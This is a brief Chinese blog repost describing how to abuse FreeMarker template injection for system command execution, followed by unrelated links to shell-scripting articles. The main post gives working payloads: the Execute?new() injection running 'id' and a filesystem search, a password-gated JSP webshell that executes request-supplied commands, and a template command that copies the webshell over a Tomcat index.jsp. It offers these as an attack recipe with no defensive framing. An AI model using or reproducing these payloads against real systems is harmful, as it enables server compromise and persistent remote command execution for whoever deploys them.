FreeMarker执行系统命令

简介:

1、寻找可以上传FTL模板的漏洞点


2、尝试注入FTL模板

1
2
<#assign test="freemarker.template.utility.Execute"?new()>
${test("id")}


3、查找上传的FTL文件保存路径

1
2
<#assign test="freemarker.template.utility.Execute"?new()>
${test("find / -name *.ftl")}


4、获取WebShell

1
2
3
4
# webshell.ftl
<%if ("023".equals(request.getParameter("pwd")))
{java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1; byte[] b = new byte[2048];while((a=in.read(b))!=-1){out.println(new String(b));}}%>
1
2
3
4
# main.ftl
<#assign test="freemarker.template.utility.Execute"?new()>
${test("cp /home/bmpapp/upc_plugin_home/export_plugin/development/user/webshell.ftl 
/home/bmpapp/tomcat/webapps/default.war/index.jsp")}


5、访问index.jsp


















本文转自fatshi51CTO博客,原文链接:http://blog.51cto.com/duallay/1936931 ,如需转载请自行联系原作者




相关文章
|
8月前
|
Shell 程序员 数据安全/隐私保护
shell 脚本 if-else判断 和流程控制 (基本语法|基础命令)
shell 脚本 if-else判断 和流程控制 (基本语法|基础命令)
112 1
|
Shell Linux
Shell脚本循环读取文件中的每一行
Shell脚本循环读取文件中的每一行
209 0
|
监控 NoSQL 关系型数据库
【Linux脚本篇】什么是shell脚本,什么是shell变量
【Linux脚本篇】什么是shell脚本,什么是shell变量
107 0
|
弹性计算 Shell Linux
3天玩转shell--2.流程控制之if-else
本文将通过shell代码示例,简单通俗的讲解shell。通过执行代码和运行结果反向掌握shell编程方法。准备一台低配的阿里云ECS Linux环境,跟着教程走起,本文比较适合shell小白。
124 0
|
Shell C语言
shell脚本if流程控制详解
Shell条件测试 if 流程控制 文件测试 数值比较 字符串比较 1、shell条件测试
172 0
|
Shell C++ Perl
《懒人Shell脚本》之一——遍历文件并格式化输出文件
【背景】 1.项目开发中,急需要根据资源路径res下的文件,生成如下三种格式的文件。 格式一:
175 0
|
Shell
编写SHELL脚本--编写简单脚本
1.简单脚本文件hello.sh,内容如下 #!/bin/bash pwd ls -al  执行脚本:bash hello.sh  或者使用root命令:  ./hello.sh   2.接受用户参数   $0代表执行的脚本文件名称   $*代表所有的用户参数   $?代表上个命令执行后的返回...
1715 0